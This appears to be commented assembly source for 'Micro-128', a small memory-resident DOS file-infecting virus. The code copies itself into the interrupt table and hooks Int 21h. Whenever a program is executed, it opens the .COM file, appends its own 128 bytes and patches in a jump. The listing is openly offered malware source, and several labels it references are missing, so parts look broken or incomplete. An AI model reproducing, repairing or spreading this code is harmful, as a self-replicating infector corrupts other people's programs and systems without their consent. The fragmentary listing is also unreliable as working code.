;*in it to make it compact, it is a fairly simple virus and is easy to *

;*understand. *

;* *

;*Note: Micro-128 was originally assembled with an assembler other than *

;* my version of TASM, so to keep the bytes for XOR exactly the same *

;* all XOR's are entered directly, with their assembler commands *

;* commented out. *


.model tiny


org 100h


db 0e9h,03h,0 ;Jmp Virus_Entry


int 20h


mov di,100h

push di

mov si,di

add si,[di+1] ;Get offset

movsw ;Restore Storage Bytes



;xor ax,ax ;Set ES = 0 (Interrupt Table)

db 31h, 0c0h

mov es,ax

mov di,303h ;Space in Int Table

mov cl,7Dh ;Virus Size

rep movsb ;Copy Virus.

scasw ;ESI = 0?

jnz Done_Install ;No, Already Installed.

std ;Set direction flag so that

;stosw stores, then decrements

;SI and DI.


xchg ax,es:[di+0FD04h] ;DI+FD04h = 86h the first time,

;and 84h the second. These are

;Int 21h's Segment and Offset


stosw ;Stores old handler to

;CS_21 and IP_21.

mov ax,33Fh ;New offset of Int 21 Handler.

cmc ;Complement carry

jc Hook_Int_21 ;jump Hook_Int_21

cld ;Clear direction flag.


push cs ;Return to Host.

pop es



mov al,0 ;Setup to go from beginning of



mov ah,42h ;Move File pointer

;xor cx,cx ;Zero Segment and Offset,

db 31h,0c9h

;xor dx,dx ;Go to either beginning or end.

db 31h,0d2h

int 0E0h

mov cl,3 ;Used to make code tighter.

mov dh,3


db 0e9h,03h,0 ;Jump Inside_21


cmp ah,4bh


jnz Go_Int_21 ;Jump if not execute.

push ax bx dx ds ;Save registers

mov ax,3D02h ;Open File Read/Write

int 0E0h

jc Close_File

mov bx,ax ;Move file handle to BX

push cs

pop ds

call Go_Beginning ;Go to start of file

mov ah,3Fh ;DX=300 CX=3

int 0E0h ;Read 3 bytes from file

cmp byte ptr ds:[300h],'M' ;Is it an .EXE?

je Close_File ;If so, close.

dec ax ;AX = 2 (AX = 3 from read)

call Move_FP ;Go to end of file.

mov ds:[33dh],ax ;Save file length

mov ah,40h ;Write virus to file

mov cl,80h ;128 bytes.

int 0E0h

call Go_Beginning ;Go back to the beginning

mov dl,3Ch ;and write in jump.

mov ah,40h

int 0E0h


mov ah,3Eh ;Close file

int 0E0h

pop ds dx bx ax


db 0EAh

IP_21 dw ? ;When in memory, these are

CS_21 dw ? ;Located at the entry for

;Int E0h, making any call to

;that interrupt go to INT 21h.

end start


written and compiled by a.k.a. virus